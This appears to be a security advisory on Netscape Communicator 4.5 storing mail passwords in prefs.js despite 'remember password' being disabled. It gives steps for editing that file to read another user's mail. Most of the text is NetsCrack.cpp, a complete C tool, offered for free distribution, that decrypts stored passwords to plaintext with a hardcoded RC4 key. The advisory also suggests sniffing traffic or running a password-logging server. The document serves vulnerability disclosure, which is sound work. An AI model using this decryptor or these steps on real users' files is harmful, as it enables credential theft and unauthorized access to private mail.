|
COMMAND netscape SYSTEMS AFFECTED Netscape Communicator 4.5 (all systems) PROBLEM Holger van Lengerich found following. The Netscape Communicator 4.5 stores the crypted version of used mail-passwords (for imap and pop3) even if you tell Netscape to *not* "remember password" in the preferences dialog. This means, that anybody who can read your preferences.js ("prefs.js" in the MS dominion) is problably able to read your mail or even get your plaintext-password. How to reproduce: - start Communicator - be sure "remember password" is disabled in the preferences dialog for the "Incoming Mail Server". - get mails from Server (you get asked for your mail-password) - exit Communicator - edit preferences.js in $HOME/.netscape (MS-Users: prefs.js in your NS-Profile-Path) - search for something like: ------ user_pref("mail.imap.server.mail.password", "cRYpTPaSswD="); user_pref("mail.imap.server.mail.remember_password", false); ------ - Now change "false" to "true". - Save the file - Start Communicator - get mails ... now you are not asked for any password but can read all your mail! This was tested on SunOS, Linux (glibc2) and MS WinNT. Note that only IMAP-Passwords are stored in the preferences.js after the Communicator process is correctly terminated. POP passwords are stored in preferences.js, at the first time you fetch mail from the server and cleared at Communicator exit. This happened using C4.5 on Sun Solaris. Even this is a security problem: - Using an multiuser-OS like Unix: an evil user may access the preferences file, while you are working with Communicator. - Files may be accessible via network shares. - In a crash situation the password may not be cleared from the preferences.js - In this case the "Quality Feedback Agent" (QFA) may, if you allow him to do so, transfer the preferences.js (w. crypted password) via Internet, (readable at any host on the way to Netscape Corp.) Be aware that the encryption of the password gives *NO* security. You don't need to know the decryption-algorithm, because Communicator itself can do the decryption for you. By using a packet sniffer (like HD-MOORE) or setting up a patched IMAP-/POP-Server with a password logging facility, you can easily get the plaintext-passwords. Update (01 March 2003) ====== Nicolas RUFF posted : --snip-- I know some people have already noticed that the password is XOR-ed with a constant byte stream, but as far as I know nobody documented that this stream was RC4-generated. --snap-- ----------------------------------- Nicolas RUFF Security Consultant / EdelWeb ----------------------------------- // // NetsCrack.cpp : Netscape 4.x POP Passwords Cracker // Tested against Netscape 4.5 // C0ded by Nicolas RUFF / EdelWeb // You may freely distribute this source code unmodified // #include <stdio.h> #include <stdlib.h> #include <windows.h> /* ---------------------------------------------------------------- */ // The "original" RC4 algorithm source code /* rc4.h */ typedef struct rc4_key { unsigned char state[256]; unsigned char x; unsigned char y; } rc4_key; void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key *key); void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key); static void swap_byte(unsigned char *a, unsigned char *b); /* r4.c */ void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key) { unsigned char swapByte; unsigned char index1; unsigned char index2; unsigned char* state; short counter; state = &key->state[0]; for (counter = 0; counter < 256; counter++) state[counter] = counter; key->x = 0; key->y = 0; index1 = 0; index2 = 0; for(counter = 0; counter < 256; counter++) { index2 = (key_data_ptr[index1] + state[counter] + index2) % 256; swap_byte(&state[counter], &state[index2]); index1 = (index1 + 1) % key_data_len; } } void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key) { unsigned char x; unsigned char y; unsigned char* state; unsigned char xorIndex; short counter; x = key->x; y = key->y; state = &key->state[0]; for(counter = 0; counter < buffer_len; counter ++) { x = (x + 1) % 256; y = (state[x] + y) % 256; swap_byte(&state[x], &state[y]); xorIndex = (state[x] + state[y]) % 256; buffer_ptr[counter] ^= state[xorIndex]; } key->x = x; key->y = y; } static void swap_byte(unsigned char *a, unsigned char *b) { unsigned char swapByte; swapByte = *a; *a = *b; *b = swapByte; } /* ----------------------------------------------------------------- */ // Quick and dirty base64 decoding unsigned char transcode( unsigned char c ) { if ((c >= 'A') && (c <= 'Z')) return (c - 'A'); if ((c >= 'a') && (c <= 'z')) return (c - 'a' + 26); if ((c >= '0') && (c <= '9')) return (c - '0' + 52); if (c == '+') return 62; if (c == '/') return 63; if (c == '=') return 0; printf("transcode error\n"); return 0; } void decode64( unsigned char a, unsigned char b, unsigned char c, unsigned char d, unsigned char *dst ) { unsigned char x, y, z; // Transcode { A-Z a-z 0-9 + / } -> ... // 'A'=65 'a'=97 '0'=48 '+'=43 '/'=47 x = transcode(a); y = transcode(b); z = transcode(c); x = ( (transcode(a)) << 2 ) + ( ((transcode(b)) & 0x30) >> 4); // pattern = 00110000 y = ( ((transcode(b)) & 0x0F) << 4 ) + ( ((transcode(c)) & 0x3C) >> 2); // pattern = 00001111, 00111100 z = ( ((transcode(c)) & 0x03) << 6 ) + ( (transcode(d)) ); dst[0] = x; dst[1] = y; dst[2] = z; } /* ---------------------------------------------------------------- */ // Main() int main(int argc, char* argv[]) { char szPwd[256]; unsigned char szClear[256]; int i,j; // Netscape "Magic" Key unsigned char key_data[] = { 0xD0, 0x86, 0x9C, 0xDE, 0xC6, 0xEE, 0xEB, 0x3E }; rc4_key key; // [0x00 ... 0x3F] and [0x80 ... 0xFF] : no substitution // [0x40 ... 0x7F] use substitution table below // Surprisingly T*T = Id :-) unsigned char table[] = { 0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F }; printf("Enter registry encrypted password :"); gets(szPwd); if (strlen(szPwd) > 0) { /* --------------- REGISTRY ENCRYPTION --------------- */ strrev(szPwd); for (i=0; i<strlen(szPwd); i++) { if ((szPwd[i] >= 0x40) && (szPwd[i] < 0x80)) szPwd[i] = table[szPwd[i] - 0x40]; } printf("File password : %s\n", szPwd); } else { printf("Enter file encrypted password :"); gets(szPwd); } /* --------------- FILE ENCRYPTION --------------- */ /* ATOB_AsciiToData() */ j=0; for (i=0; i<strlen(szPwd); i+=4) { decode64(szPwd[i], szPwd[i+1], szPwd[i+2], szPwd[i+3], &(szClear[j])); j += 3; } szClear[j] = '\0'; /* RC4_Decrypt */ prepare_key( key_data, 8, &key); rc4( szClear, strlen((char *)szClear), &key ); printf("Clear text password : %s\n", szClear); return 0; } SOLUTION Don't use Communicator 4.5 to fetch mails from your IMAP/POP server or be very sure that no one can read your Netscape-preferences-file!!!